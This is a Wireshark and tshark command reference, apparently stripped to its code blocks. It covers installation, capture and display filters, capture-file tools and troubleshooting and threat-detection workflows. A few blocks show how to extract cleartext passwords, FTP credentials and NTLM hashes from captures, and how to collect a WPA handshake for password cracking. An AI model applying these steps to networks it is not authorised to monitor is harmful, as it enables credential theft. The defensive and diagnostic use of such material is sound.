tshark -r capture.pcap -Y "http.response.code >= 400" -T fields -e tcp.stream
# Second pass: analyze specific streams
tshark -r capture.pcap -Y "tcp.stream == 42" -V

# Only capture what you need
tshark -i eth0 -f "host 192.168.1.1 and port 80"

# Don't capture sensitive payload
tshark -i eth0 -s 68 -w headers-only.pcap

# Set restrictive permissions
tshark -i eth0 -w capture.pcap
chmod 600 capture.pcap

# Use editcap for anonymization
editcap -a 192.168.1.0/24:1.2.3.0/24 original.pcap anonymized.pcap

# Don't keep captures longer than necessary
find /captures -name "*.pcap" -mtime +7 -delete

# List interfaces
tshark -D

# Capture live traffic
tshark -i eth0

# Capture to file
tshark -i eth0 -w capture.pcap

# Read from file
tshark -r capture.pcap

# Capture with filter
tshark -i eth0 -f "tcp port 80"

# Display with filter
tshark -r capture.pcap -Y "http"

# Verbose output
tshark -r capture.pcap -V

# Extract fields
tshark -r capture.pcap -T fields -e ip.src -e ip.dst

# JSON output
tshark -r capture.pcap -T json

# Statistics
tshark -r capture.pcap -q -z io,phs

# Follow TCP stream
tshark -r capture.pcap -q -z follow,tcp,ascii,0

# Quiet mode
tshark -i eth0 -w capture.pcap -q

# Capture N packets
tshark -i eth0 -c 100

# Ring buffer
tshark -i eth0 -w capture.pcap -b files:5 -b filesize:10000

1. Download from https://www.wireshark.org/download.html
2. Choose Windows Installer (.exe)
3. Run installer as Administrator
4. Select components:
   - Wireshark (GUI)
   - TShark (CLI)
   - Plugins/Extensions
   - Tools (editcap, mergecap, etc.)
5. Install Npcap when prompted (required for packet capture)
   ☑ Install Npcap in WinPcap API-compatible mode
   ☑ Support raw 802.11 traffic (for wireless)
6. Complete installation
7. Reboot if required

Note: Npcap is the modern replacement for WinPcap

# Option 1: Download from website
# Visit https://www.wireshark.org/download.html
# Download macOS .dmg file
# Open DMG and drag to Applications
# Install ChmodBPF (included) for packet capture

# Option 2: Homebrew
brew install wireshark

# Grant capture permissions
# ChmodBPF is installed automatically
# Verify: sudo launchctl list | grep chmod

# Add your user to access_bpf group
sudo dseditgroup -o edit -a $USER -t user access_bpf

# Launch Wireshark
open -a Wireshark

# Or from terminal
wireshark

# Install Wireshark
sudo apt update
sudo apt install wireshark

# During installation, select "Yes" to allow non-root users to capture packets

# Add your user to wireshark group
sudo usermod -a -G wireshark $USER

# Log out and back in, or activate group in current session
newgrp wireshark

# Verify permissions
groups | grep wireshark

# Alternative: reconfigure permissions
sudo dpkg-reconfigure wireshark-common
sudo usermod -a -G wireshark $USER

# Launch Wireshark
wireshark

# Or launch as root (not recommended)
sudo wireshark

# Fedora/Recent CentOS
sudo dnf install wireshark

# Older RHEL/CentOS
sudo yum install wireshark

# Permissions
sudo usermod -a -G wireshark $USER

# Set capabilities
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap

# Launch
wireshark

# Install dependencies (Debian/Ubuntu)
sudo apt install build-essential cmake libglib2.0-dev \
  libpcap-dev qtbase5-dev qttools5-dev-tools libqt5svg5-dev \
  qtmultimedia5-dev flex bison libssl-dev

# Download source
wget https://www.wireshark.org/download/src/wireshark-latest.tar.xz
tar xf wireshark-latest.tar.xz
cd wireshark-*

# Build
cmake -G Ninja ..
ninja

# Install
sudo ninja install

# Update library cache
sudo ldconfig

# Check version
wireshark --version

# List interfaces
tshark -D

# Test capture (requires permissions)
tshark -i eth0 -c 5

┌─────────────────────────────────────────────────────────┐
│ Menu Bar: File, Edit, View, Go, Capture, Analyze, etc. │
├─────────────────────────────────────────────────────────┤
│ Main Toolbar: Start/Stop, Open, Save, Filter, etc.     │
├─────────────────────────────────────────────────────────┤
│ Filter Toolbar: [Display Filter Input] [Bookmarks]     │
├─────────────────────────────────────────────────────────┤
│                                                         │
│ Packet List Pane (Top)                                 │
│ No. Time    Source      Destination   Protocol  Info   │
│ ─────────────────────────────────────────────────────  │
│  1  0.000   192.168.1.1 192.168.1.100 TCP      [SYN]   │
│  2  0.001   192.168.1.100 192.168.1.1 TCP    [SYN,ACK] │
│                                                         │
├─────────────────────────────────────────────────────────┤
│                                                         │
│ Packet Details Pane (Middle)                           │
│ ▼ Frame 1: 74 bytes on wire                            │
│ ▼ Ethernet II                                          │
│   ▶ Internet Protocol Version 4                        │
│   ▶ Transmission Control Protocol                      │
│                                                         │
├─────────────────────────────────────────────────────────┤
│                                                         │
│ Packet Bytes Pane (Bottom)                             │
│ 0000  00 11 22 33 44 55 66 77 88 99 aa bb 08 00 45 00  │
│ 0010  00 3c 1c 46 40 00 40 06 b1 e6 c0 a8 01 01 c0 a8  │
│                                                         │
├─────────────────────────────────────────────────────────┤
│ Status Bar: Packets: 1234 Displayed: 567 Marked: 3     │
└─────────────────────────────────────────────────────────┘

Input:
☑ Promiscuous mode
  Capture all packets (not just those destined for this interface)

☑ Monitor mode (for wireless)
  Capture all wireless traffic including management frames

Snapshot length: [automatic]
  Limit bytes captured per packet
  0 or blank = unlimited
  Common: 65535 (full packets), 96 (headers only)

Buffer size: [2] MB
  Kernel buffer for packet capture
  Increase for high-traffic networks

Capture filter: [tcp port 80]
  BPF syntax filter applied during capture

Output:
File: [browse...]
  Save directly to file

Create new file:
☐ Every [1000000] kilobytes
☐ Every [60] seconds
☐ After [1000] packets

Use ring buffer:
☑ Number of files: [10]
  Keep only N most recent files

Options:
☐ Stop capture after:
  ☐ [1000] packets
  ☐ [1000] kilobytes
  ☐ [60] seconds
  ☐ [10] files

☐ Update list of packets in real-time
☐ Automatically scroll during live capture

# Merge multiple files chronologically
mergecap -w output.pcap file1.pcap file2.pcap file3.pcap

# Merge with specific snaplen
mergecap -w output.pcap -s 65535 file1.pcap file2.pcap

Qualifier:
  Type:      host, net, port, portrange
  Direction: src, dst, src or dst, src and dst
  Protocol:  ether, ip, ip6, arp, tcp, udp, icmp

Examples:
  host 192.168.1.1
  src host 192.168.1.1
  dst net 192.168.0.0/16
  tcp port 80
  udp port 53

# Specific host (src or dst)
host 192.168.1.1
host www.example.com

# Source host
src host 192.168.1.1

# Destination host
dst host 192.168.1.1

# Multiple hosts
host 192.168.1.1 or host 192.168.1.2

# Exclude host
not host 192.168.1.1

# Network range (CIDR)
net 192.168.1.0/24
net 10.0.0.0/8

# Source network
src net 192.168.0.0/16

# Destination network
dst net 10.0.0.0/8

# Exclude network
not net 192.168.1.0/24

# Specific port (TCP or UDP)
port 80
port 443

# Source port
src port 80

# Destination port
dst port 443

# Port range
portrange 8000-9000

# Multiple ports
port 80 or port 443 or port 8080

# Exclude port
not port 22

# TCP only
tcp

# UDP only
udp

# ICMP
icmp

# ARP
arp

# IPv4
ip

# IPv6
ip6

# Specific protocol and port
tcp port 80
udp port 53

# Multiple protocols
tcp or udp
icmp or arp

# TCP SYN packets
tcp[tcpflags] & tcp-syn != 0
tcp[13] & 2 != 0

# TCP SYN-ACK
tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)

# TCP RST
tcp[tcpflags] & tcp-rst != 0

# TCP FIN
tcp[tcpflags] & tcp-fin != 0

# TCP PSH
tcp[tcpflags] & tcp-push != 0

# No flags (NULL scan)
tcp[tcpflags] == 0

# Xmas scan (FIN, PSH, URG)
tcp[tcpflags] & (tcp-fin|tcp-push|tcp-urg) != 0

# Specific MAC address
ether host 00:11:22:33:44:55

# Source MAC
ether src 00:11:22:33:44:55

# Destination MAC
ether dst 00:11:22:33:44:55

# Broadcast
ether broadcast

# Multicast
ether multicast

# EtherType
ether proto 0x0800  # IPv4
ether proto 0x0806  # ARP
ether proto 0x86dd  # IPv6

# VLAN traffic
vlan

# Specific VLAN ID
vlan 100

# VLAN and protocol
vlan and tcp
vlan 100 and host 192.168.1.1

# Combine host and port
host 192.168.1.1 and port 80

# Protocol and network
tcp and net 192.168.1.0/24

# Multiple conditions (AND)
host 192.168.1.1 and tcp and port 443

# Multiple conditions (OR)
host 192.168.1.1 or host 192.168.1.2

# Complex boolean logic
(host 192.168.1.1 or host 192.168.1.2) and port 80

# Exclude traffic
not host 192.168.1.1 and not port 22

# HTTP and HTTPS
tcp port 80 or tcp port 443

# DNS (TCP and UDP)
port 53
tcp port 53 or udp port 53

# Everything except SSH
not port 22

# Specific host on multiple ports
host 192.168.1.1 and (port 80 or port 443)

# Non-local traffic
not net 127.0.0.0/8

# Less than size
less 128

# Greater than size
greater 1000

# Specific length
len == 64

# Range
greater 100 and less 500

General format:
  protocol.field operator value

Operators:
  ==  (equal)
  !=  (not equal)
  >   (greater than)
  <   (less than)
  >=  (greater than or equal)
  <=  (less than or equal)
  contains
  matches (regex)
  in (set membership)

Logical:
  and (or &&)
  or  (or ||)
  not (or !)
  xor

Parentheses for grouping:
  (expression1) and (expression2)

# Any IP (source or destination)
ip.addr == 192.168.1.1

# Source IP
ip.src == 192.168.1.1

# Destination IP
ip.dst == 192.168.1.1

# IP subnet
ip.addr == 192.168.1.0/24
ip.src == 10.0.0.0/8

# Multiple IPs
ip.addr == 192.168.1.1 or ip.addr == 192.168.1.2

# IP in set
ip.addr in {192.168.1.1 192.168.1.2 192.168.1.3}

# IPv4 only
ip

# IPv6 only
ipv6

# Specific IPv6
ipv6.addr == 2001:db8::1

# IP TTL
ip.ttl < 10
ip.ttl == 64

# IP fragmentation
ip.flags.mf == 1      # More fragments
ip.frag_offset > 0    # Fragmented

# IP protocol
ip.proto == 6         # TCP
ip.proto == 17        # UDP
ip.proto == 1         # ICMP

# TCP port (source or destination)
tcp.port == 80

# TCP source port
tcp.srcport == 80

# TCP destination port
tcp.dstport == 443

# Port range
tcp.port >= 8000 and tcp.port <= 9000

# TCP flags
tcp.flags.syn == 1              # SYN
tcp.flags.ack == 1              # ACK
tcp.flags.fin == 1              # FIN
tcp.flags.reset == 1            # RST
tcp.flags.push == 1             # PSH
tcp.flags.urg == 1              # URG

# SYN-ACK packets
tcp.flags.syn == 1 and tcp.flags.ack == 1

# SYN only (connection initiation)
tcp.flags.syn == 1 and tcp.flags.ack == 0

# TCP window size
tcp.window_size < 1000
tcp.window_size_scalefactor > 0

# TCP sequence and ack numbers
tcp.seq == 0
tcp.ack == 1

# TCP stream index
tcp.stream == 0              # First TCP stream
tcp.stream == 5              # Sixth TCP stream

# TCP analysis (expert info)
tcp.analysis.retransmission         # Retransmissions
tcp.analysis.duplicate_ack          # Duplicate ACKs
tcp.analysis.duplicate_ack_num > 2  # More than 2 dup ACKs
tcp.analysis.lost_segment           # Lost segments
tcp.analysis.fast_retransmission    # Fast retransmissions
tcp.analysis.zero_window            # Zero window
tcp.analysis.window_full            # Window full
tcp.analysis.out_of_order           # Out of order
tcp.analysis.reused_ports           # Reused ports

# TCP options
tcp.options.mss                     # MSS option present
tcp.options.wscale                  # Window scale
tcp.options.sack_perm               # SACK permitted
tcp.options.timestamp               # Timestamp

# TCP payload
tcp.payload                         # Has payload
tcp.len > 0                         # Has data
tcp.len > 1000                      # Large segments

# UDP port
udp.port == 53

# UDP source port
udp.srcport == 5353

# UDP destination port
udp.dstport == 161

# UDP length
udp.length < 100
udp.length > 1000

# UDP stream
udp.stream == 0

# UDP checksum
udp.checksum_bad == 1

# Any HTTP
http

# HTTP requests
http.request

# HTTP responses
http.response

# HTTP methods
http.request.method == "GET"
http.request.method == "POST"
http.request.method == "PUT"
http.request.method == "DELETE"
http.request.method == "HEAD"

# HTTP URI
http.request.uri == "/index.html"
http.request.uri contains "/api/"
http.request.uri matches "\\.(jpg|png|gif)$"

# HTTP full URI
http.request.full_uri contains "example.com"

# HTTP host
http.host == "www.example.com"
http.host contains "example"

# HTTP user agent
http.user_agent contains "Mozilla"
http.user_agent contains "curl"
http.user_agent contains "bot"

# HTTP referer
http.referer contains "google"

# HTTP response codes
http.response.code == 200
http.response.code == 404
http.response.code == 500
http.response.code >= 400               # Errors
http.response.code >= 400 and http.response.code < 500  # Client errors
http.response.code >= 500               # Server errors

# HTTP content type
http.content_type contains "application/json"
http.content_type contains "text/html"
http.content_type contains "image/"

# HTTP content length
http.content_length > 1000000
http.content_length < 100

# HTTP cookies
http.cookie
http.set_cookie

# HTTP authorization
http.authorization

# HTTP request headers
http.request.line contains "Accept-Language"

# HTTP response headers
http.server contains "Apache"
http.server contains "nginx"

# HTTP version
http.request.version == "HTTP/1.1"
http.request.version == "HTTP/2"

# HTTP with specific header
http.header contains "X-Custom-Header"

# HTTP file data
http.file_data contains "password"

# HTTP response time
http.time > 1.0                # Responses slower than 1 second

# Any DNS
dns

# DNS queries
dns.flags.response == 0

# DNS responses
dns.flags.response == 1

# DNS query name
dns.qry.name == "www.example.com"
dns.qry.name contains "example"
dns.qry.name matches ".*\\.com$"

# DNS query type
dns.qry.type == 1              # A record
dns.qry.type == 28             # AAAA record
dns.qry.type == 5              # CNAME
dns.qry.type == 15             # MX
dns.qry.type == 16             # TXT
dns.qry.type == 2              # NS
dns.qry.type == 6              # SOA
dns.qry.type == 12             # PTR

# DNS response code
dns.flags.rcode == 0           # No error
dns.flags.rcode == 3           # NXDOMAIN (name error)
dns.flags.rcode == 2           # Server failure

# DNS answers
dns.a                          # A record in answer
dns.aaaa                       # AAAA record
dns.cname                      # CNAME

# Specific IP in DNS answer
dns.a == 192.168.1.1
dns.aaaa == 2001:db8::1

# DNS flags
dns.flags.authoritative == 1
dns.flags.truncated == 1
dns.flags.recdesired == 1
dns.flags.recavail == 1

# DNS answer count
dns.count.answers > 5
dns.count.answers == 0

# DNS response time
dns.time > 0.1

# DNS over TCP (unusual)
dns and tcp

# Long DNS queries (possible tunneling)
dns.qry.name.len > 50

# Any TLS
tls
ssl   # Older captures

# TLS handshake
tls.handshake
ssl.handshake

# TLS handshake types
tls.handshake.type == 1        # Client Hello
tls.handshake.type == 2        # Server Hello
tls.handshake.type == 11       # Certificate
tls.handshake.type == 12       # Server Key Exchange
tls.handshake.type == 14       # Server Hello Done
tls.handshake.type == 16       # Client Key Exchange
tls.handshake.type == 20       # Finished

# TLS SNI (Server Name Indication)
tls.handshake.extensions_server_name == "www.example.com"
tls.handshake.extensions_server_name contains "example"

# TLS version
tls.record.version == 0x0303   # TLS 1.2
tls.record.version == 0x0304   # TLS 1.3
tls.handshake.version == 0x0303

# TLS cipher suites
tls.handshake.ciphersuite
tls.handshake.ciphersuite == 0xc02f  # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

# TLS cipher suite in Client Hello
tls.handshake.ciphersuites

# TLS certificate
tls.handshake.certificate

# TLS application data
tls.app_data

# TLS alerts
tls.alert_message
tls.alert_message.level == 2   # Fatal
tls.alert_message.desc == 40   # Handshake failure

# TLS extensions
tls.handshake.extension.type == 0  # Server name
tls.handshake.extension.type == 10 # Supported groups
tls.handshake.extension.type == 13 # Signature algorithms

# Weak/old SSL
ssl.record.version < 0x0303    # Older than TLS 1.2

# Certificate details
x509sat.uTF8String
x509sat.printableString
x509ce.dNSName

# All ICMP
icmp

# ICMP type
icmp.type == 8                 # Echo request (ping)
icmp.type == 0                 # Echo reply
icmp.type == 3                 # Destination unreachable
icmp.type == 5                 # Redirect
icmp.type == 11                # Time exceeded

# ICMP code
icmp.code == 0
icmp.code == 3                 # Port unreachable

# ICMPv6
icmpv6
icmpv6.type == 128             # Echo request
icmpv6.type == 129             # Echo reply

# ICMP echo request/reply pairs
icmp.type == 8 or icmp.type == 0

# ICMP response time
icmp.resptime
icmp.resptime > 0.1

# All ARP
arp

# ARP request
arp.opcode == 1

# ARP reply
arp.opcode == 2

# ARP for specific IP
arp.dst.proto_ipv4 == 192.168.1.1
arp.src.proto_ipv4 == 192.168.1.1

# ARP with specific MAC
arp.src.hw_mac == 00:11:22:33:44:55
arp.dst.hw_mac == 00:11:22:33:44:55

# Gratuitous ARP
arp.opcode == 1 and arp.src.proto_ipv4 == arp.dst.proto_ipv4

# ARP duplicate address detection
arp.duplicate-address-detected
arp.duplicate-address-frame

# All DHCP
dhcp
bootp  # Alternative

# DHCP message types
dhcp.option.dhcp == 1          # Discover
dhcp.option.dhcp == 2          # Offer
dhcp.option.dhcp == 3          # Request
dhcp.option.dhcp == 5          # ACK
dhcp.option.dhcp == 6          # NAK
dhcp.option.dhcp == 7          # Release
dhcp.option.dhcp == 8          # Inform

# DHCP for specific MAC
dhcp.hw.mac_addr == 00:11:22:33:44:55

# DHCP assigned IP
dhcp.ip.your == 192.168.1.100

# DHCP server
dhcp.option.dhcp_server_id == 192.168.1.1

# DHCP hostname
dhcp.option.hostname contains "laptop"

# DHCP lease time
dhcp.option.dhcp_lease_time
dhcp.option.dhcp_lease_time > 86400

# DHCP domain name
dhcp.option.domain_name

# All SMB
smb or smb2

# SMB version 1
smb

# SMB version 2/3
smb2

# SMB commands (SMB2)
smb2.cmd == 0                  # Negotiate
smb2.cmd == 1                  # Session Setup
smb2.cmd == 3                  # Tree Connect
smb2.cmd == 5                  # Create
smb2.cmd == 8                  # Read
smb2.cmd == 9                  # Write
smb2.cmd == 6                  # Close

# SMB filename
smb2.filename contains "document"
smb.file contains "document"

# SMB tree (share)
smb2.tree

# SMB NT status
smb2.nt_status != 0x00000000   # Errors
smb2.nt_status == 0xc0000022   # Access denied

# NTLMSSP (authentication)
ntlmssp
ntlmssp.auth.username
ntlmssp.auth.domain

# FTP control
ftp

# FTP commands
ftp.request.command == "USER"
ftp.request.command == "PASS"
ftp.request.command == "RETR"
ftp.request.command == "STOR"
ftp.request.command == "LIST"

# FTP responses
ftp.response.code == 220       # Welcome
ftp.response.code == 230       # Login successful
ftp.response.code == 530       # Not logged in

# FTP data
ftp-data

# FTP arguments
ftp.request.arg

# SMTP
smtp

# SMTP commands
smtp.req.command == "MAIL"
smtp.req.command == "RCPT"
smtp.req.command == "DATA"
smtp.req.command == "HELO"
smtp.req.command == "EHLO"

# SMTP responses
smtp.response.code == 250
smtp.response.code == 550

# Email addresses
smtp.req.parameter contains "@example.com"

# IMF (email message)
imf
imf.from contains "example.com"
imf.to contains "user@example.com"
imf.subject contains "urgent"

# MySQL
mysql
mysql.query
mysql.command == 3             # Query
mysql.query contains "SELECT"

# PostgreSQL
pgsql
pgsql.query

# MongoDB
mongo
mongo.op == 2004               # Query

# Redis
redis
redis.command

# Contains
http.host contains "example"
dns.qry.name contains "google"

# Matches (regex)
http.host matches "^www\\..*\\.com$"
dns.qry.name matches ".*\\.(tk|ml|ga|cf)$"

# Case sensitivity (always case-insensitive)
http.host contains "EXAMPLE"  # Matches "example.com"

# Equals
http.host == "www.example.com"

# In set
http.host in {"example.com" "test.com" "demo.com"}
ip.addr in {192.168.1.1 192.168.1.2}

# Equals
tcp.port == 80

# Not equals
tcp.port != 22

# Greater than
frame.len > 1000
tcp.window_size > 65535

# Less than
ip.ttl < 10
http.time < 0.01

# Greater than or equal
tcp.port >= 8000

# Less than or equal
tcp.port <= 9000

# Range
tcp.port >= 8000 and tcp.port <= 9000
frame.len > 100 and frame.len < 1500

# Frame number
frame.number == 100
frame.number > 1000
frame.number >= 100 and frame.number <= 200

# Frame time
frame.time >= "2024-01-01 00:00:00"
frame.time <= "2024-12-31 23:59:59"

# Time relative to first packet
frame.time_relative > 10

# Time delta (since previous packet)
frame.time_delta > 1.0
frame.time_delta_displayed > 0.5

# Frame length
frame.len > 1000
frame.len < 100
frame.len == 54

# Marked packets
frame.marked == 1

# Ignored packets
frame.ignored == 1

# Interface
frame.interface_name == "eth0"

# Any expert info
expert

# By severity
expert.severity == "error"
expert.severity == "warn"
expert.severity == "note"
expert.severity == "chat"

# By group
expert.group == "Checksum"
expert.group == "Sequence"
expert.group == "Malformed"
expert.group == "Protocol"

# Expert message
expert.message contains "Retransmission"

# AND (both conditions must be true)
ip.addr == 192.168.1.1 and tcp.port == 80
ip.addr == 192.168.1.1 && tcp.port == 80

# OR (either condition can be true)
tcp.port == 80 or tcp.port == 443
tcp.port == 80 || tcp.port == 443

# NOT (condition must be false)
not icmp
!icmp
!(tcp.port == 22)

# XOR (exclusive or)
tcp xor udp

# Parentheses for grouping
(ip.src == 192.168.1.1 or ip.src == 192.168.1.2) and tcp.port == 80

# HTTP POST requests to specific host
http.request.method == "POST" and http.host == "api.example.com"

# Failed HTTP requests
http.response.code >= 400

# Large HTTP responses
http.response and frame.len > 10000

# TCP retransmissions to specific IP
tcp.analysis.retransmission and ip.dst == 192.168.1.1

# TLS connections to specific domains
tls.handshake.type == 1 and tls.handshake.extensions_server_name contains "example"

# Non-standard HTTP ports
http and tcp.port != 80 and tcp.port != 443

# Broadcast and multicast
eth.dst.ig == 1

# IPv6 traffic on subnet
ipv6.src == 2001:db8::/32

# Suspicious DNS (many answers)
dns.flags.response == 1 and dns.count.answers > 10

# Slow DNS responses
dns.time > 0.5

# Zero window condition
tcp.analysis.zero_window

# Out of order packets
tcp.analysis.out_of_order

# SYN flood detection pattern
tcp.flags.syn == 1 and tcp.flags.ack == 0

# Fragmented IP packets
ip.frag_offset > 0 or ip.flags.mf == 1

Graph 1: All traffic (no filter)
Graph 2: tcp, color=blue
Graph 3: udp, color=green
Graph 4: http, color=red
Graph 5: dns, color=purple

Name: SSH Traffic
Filter: tcp.port == 22
Foreground: White
Background: Dark Blue

Name: DNS Errors
Filter: dns.flags.rcode != 0
Foreground: White
Background: Red

Name: Slow HTTP
Filter: http.time > 1.0
Foreground: Black
Background: Orange

Name: My Network
Filter: ip.src == 192.168.1.0/24 or ip.dst == 192.168.1.0/24
Foreground: Black
Background: Light Cyan

# Set environment variable (Firefox, Chrome, etc.)
export SSLKEYLOGFILE=~/sslkeys.log

# Windows
set SSLKEYLOGFILE=%USERPROFILE%\sslkeys.log

# macOS
export SSLKEYLOGFILE=~/sslkeys.log

Key type: wpa-pwd
Key: MyPassword123:MyWiFiNetwork

# Live capture
tshark -i eth0

# Read file
tshark -r capture.pcap

# With display filter
tshark -r capture.pcap -Y "http"

# Extract fields
tshark -r capture.pcap -T fields -e ip.src -e ip.dst

# See tshark.md for comprehensive documentation

# Split by packet count
editcap -c 1000 input.pcap output.pcap
# Creates output_00000.pcap, output_00001.pcap, etc.

# Split by time
editcap -i 60 input.pcap output.pcap
# New file every 60 seconds

# Extract packet range
editcap -r input.pcap output.pcap 100-200

# Remove duplicates
editcap -d input.pcap output.pcap
editcap -D 5 input.pcap output.pcap  # Duplicate window of 5

# Change timestamp
editcap -t +3600 input.pcap output.pcap  # Add 1 hour

# Adjust snaplen
editcap -s 96 input.pcap output.pcap  # Truncate to 96 bytes

# Extract only displayed packets (with filter)
tshark -r input.pcap -Y "http" -w output.pcap

# Change file format
editcap -F pcap input.pcapng output.pcap

# Anonymize IP addresses
editcap -a 192.168.1.0/24:10.0.0.0/24 input.pcap output.pcap

# Basic merge (chronological)
mergecap -w output.pcap file1.pcap file2.pcap file3.pcap

# Merge all files in directory
mergecap -w output.pcap *.pcap

# Append (don't sort)
mergecap -a -w output.pcap file1.pcap file2.pcap

# Set snapshot length
mergecap -s 65535 -w output.pcap file1.pcap file2.pcap

# Change output format
mergecap -F pcapng -w output.pcapng file1.pcap file2.pcap

# Verbose output
mergecap -v -w output.pcap file1.pcap file2.pcap

# Basic info
capinfos capture.pcap

# Detailed info
capinfos -d capture.pcap

# Statistics
capinfos -s capture.pcap

# All info
capinfos -a capture.pcap

# Table format
capinfos -T capture.pcap

# Specific fields
capinfos -t -c -u capture.pcap
# -t: time
# -c: packet count
# -u: packet size

# Machine-readable
capinfos -M capture.pcap

# Multiple files
capinfos file1.pcap file2.pcap file3.pcap

File name:           capture.pcap
File type:           Wireshark/tcpdump/... - pcap
File encapsulation:  Ethernet
Packet size limit:   file hdr: 65535 bytes
Number of packets:   1234
File size:           567890 bytes
Data size:           554321 bytes
Capture duration:    123.456 seconds
Start time:          Mon Jan 1 12:00:00 2024
End time:            Mon Jan 1 12:02:03 2024
Data byte rate:      4491 bytes/s
Data bit rate:       35928 bits/s
Average packet size: 449.21 bytes
Average packet rate: 10 packets/s

# Basic conversion
text2pcap hexdump.txt output.pcap

# Specify Ethernet encapsulation
text2pcap -e 0x0800 hexdump.txt output.pcap

# Add dummy Ethernet header
text2pcap -e 0x0800 -l 1 hexdump.txt output.pcap

# UDP encapsulation
text2pcap -u 1234,5678 hexdump.txt output.pcap
# Source port 1234, destination port 5678

# TCP encapsulation
text2pcap -T 1234,5678 hexdump.txt output.pcap

# With timestamp
text2pcap -t "%Y-%m-%d %H:%M:%S." hexdump.txt output.pcap

000000 00 11 22 33 44 55 66 77 88 99 aa bb 08 00 45 00
000010 00 3c 1c 46 40 00 40 06 b1 e6 c0 a8 01 01 c0 a8

# List interfaces
dumpcap -D

# Capture on interface
dumpcap -i eth0 -w capture.pcap

# Capture with autostop
dumpcap -i eth0 -w capture.pcap -a duration:60

# Ring buffer
dumpcap -i eth0 -w capture.pcap -b filesize:10000 -b files:5

# With capture filter
dumpcap -i eth0 -f "tcp port 80" -w capture.pcap

# Multiple interfaces
dumpcap -i eth0 -i wlan0 -w capture.pcap

# Quiet mode
dumpcap -i eth0 -w capture.pcap -q

# Read from pipe
tcpdump -i eth0 -w - | rawshark -r -

# With fields
rawshark -r capture.pcap -d proto:http -F http.request.uri

# Process live capture
dumpcap -i eth0 -w - | rawshark -r -

# Linux/macOS
~/.config/wireshark/profiles/

# Windows
%APPDATA%\Wireshark\profiles\

1. Verify connectivity:
   - Filter: ip.addr == [target]
   - Check for responses

2. Check TCP handshake:
   - Filter: tcp.flags.syn == 1
   - Look for SYN, SYN-ACK, ACK

3. Identify failures:
   - Filter: tcp.flags.reset == 1 or icmp.type == 3

1. Find retransmissions:
   - Filter: tcp.analysis.retransmission
   - Check percentage

2. Check TCP window:
   - Filter: tcp.analysis.zero_window
   - Indicates receiver overwhelmed

3. Analyze response times:
   - Statistics → Service Response Time
   - Identify slow services

1. Check DNS queries:
   - Filter: dns.flags.response == 0

2. Find errors:
   - Filter: dns.flags.rcode != 0
   - Look for NXDOMAIN, SERVFAIL

3. Slow resolution:
   - Filter: dns.time > 1.0
   - Check response times

1. Many SYN packets:
   - Filter: tcp.flags.syn == 1 and tcp.flags.ack == 0
   - Statistics → Conversations
   - Look for one source, many destinations

2. Identify scanner:
   - Check source IP
   - Note targeted ports
   - Document scan pattern

1. Suspicious connections:
   - Filter: http.request
   - Look for unusual user agents
   - Check for encoded data

2. DNS tunneling:
   - Filter: dns.qry.name.len > 50
   - Look for long random-looking domains

3. C2 beaconing:
   - Statistics → IO Graph
   - Look for regular intervals
   - Consistent packet sizes

1. Clear text passwords:
   - Filter: http.authorization
   - Follow → TCP Stream

2. FTP credentials:
   - Filter: ftp.request.command == "USER" or ftp.request.command == "PASS"

3. NTLM hashes:
   - Filter: ntlmssp.auth

1. Find failed requests:
   - Filter: http.response.code >= 400

2. Check specific endpoint:
   - Filter: http.request.uri contains "/api/users"

3. Analyze timing:
   - Filter: http.time > 1.0
   - Find slow requests

1. MySQL slow queries:
   - Filter: mysql.query
   - Check query content

2. Failed connections:
   - Filter: mysql.error_message

1. Find WebSocket traffic:
   - Filter: websocket

2. Check messages:
   - Filter: websocket.payload
   - Follow → TCP Stream

1. View all calls:
   - Telephony → VoIP Calls
   - Shows all SIP sessions

2. Analyze specific call:
   - Select call
   - Click "Flow Sequence"
   - See call setup/teardown

3. Check RTP quality:
   - Telephony → RTP → Stream Analysis
   - Check packet loss, jitter, MOS

1. Telephony → RTP → RTP Player
2. Select streams
3. Click "Play"
4. Listen to audio quality

1. Statistics → Conversations → IPv4
2. Sort by "Bytes"
3. Identify top talkers
4. Apply as filter to investigate

1. Statistics → Protocol Hierarchy
2. See percentage breakdown
3. Identify unexpected protocols

1. Statistics → IO Graph
2. View packets/bytes per second
3. Identify spikes
4. Correlate with issues

1. Filter: wlan.fc.type_subtype == 8
   (Beacon frames)
2. Statistics → WLAN Traffic
3. See all SSIDs

1. Start wireless capture in monitor mode
2. Filter: eapol
3. Look for 4-way handshake (4 EAPOL packets)
4. Save for password cracking or decryption

1. Check retries:
   - Filter: wlan.fc.retry == 1

2. Check signal:
   - Add column: radiotap.dbm_antsignal

3. Check channel utilization:
   - Statistics → WLAN Traffic

Examples:
host 192.168.1.1
tcp port 80 or tcp port 443
not port 22

Capture Options → Snapshot length: 96

Capture Options → Output:
☑ Create new file every 100000 kilobytes
☑ Use ring buffer: 10 files

Good:
  2024-01-15_web-server-issue_eth0.pcapng
  prod-db-slowness-2024-01-15.pcap

Bad:
  capture1.pcap
  test.pcap
  new.pcap

Statistics → Capture File Properties → Edit
Add comments:
  "Captured during reported slowness at 14:30
   Server: 192.168.1.50
   Client: 192.168.1.100
   Symptom: 5-second page load times"

Before diving into packets:
- Statistics → Protocol Hierarchy (what protocols?)
- Statistics → Conversations (who's talking?)
- Statistics → Endpoints (top talkers?)
- Analyze → Expert Information (problems?)

Start broad, narrow down:
1. http
2. http and ip.addr == 192.168.1.1
3. http and ip.addr == 192.168.1.1 and http.response.code >= 400

For application-level analysis:
- Right-click → Follow → TCP/UDP/HTTP Stream
- See complete conversation
- Understand context

Mark key events:
- Right-click → Set Time Reference
- Measure time between events
- Correlate with logs

Visual identification:
- Color errors in red
- Color important traffic
- Quick pattern recognition

Save display filters:
- Filter toolbar → Bookmark button
- Name filters descriptively
- Organize into categories

# Set restrictive permissions
chmod 600 capture.pcap

# Encrypt sensitive captures
gpg -c capture.pcap

# Secure transfer
scp capture.pcap user@secure-host:/encrypted/volume/

Fast filters:
- ip.addr == 192.168.1.1
- tcp.port == 80
- frame.number >= 100

Slow filters (avoid on large captures):
- matches (regex) operations
- complex string operations
- contains on large fields

Strategies:
1. Split into smaller files (editcap)
2. Use command-line tshark for statistics
3. Filter and save subset
4. Increase system memory
5. Use faster storage (SSD)

Analyze → Enabled Protocols
Disable protocols you don't need:
- Speeds up loading
- Reduces memory
- Faster filtering

During capture:
☐ Update list of packets in real-time
☐ Automatically scroll during live capture

Enable only when needed for monitoring

Directory structure:
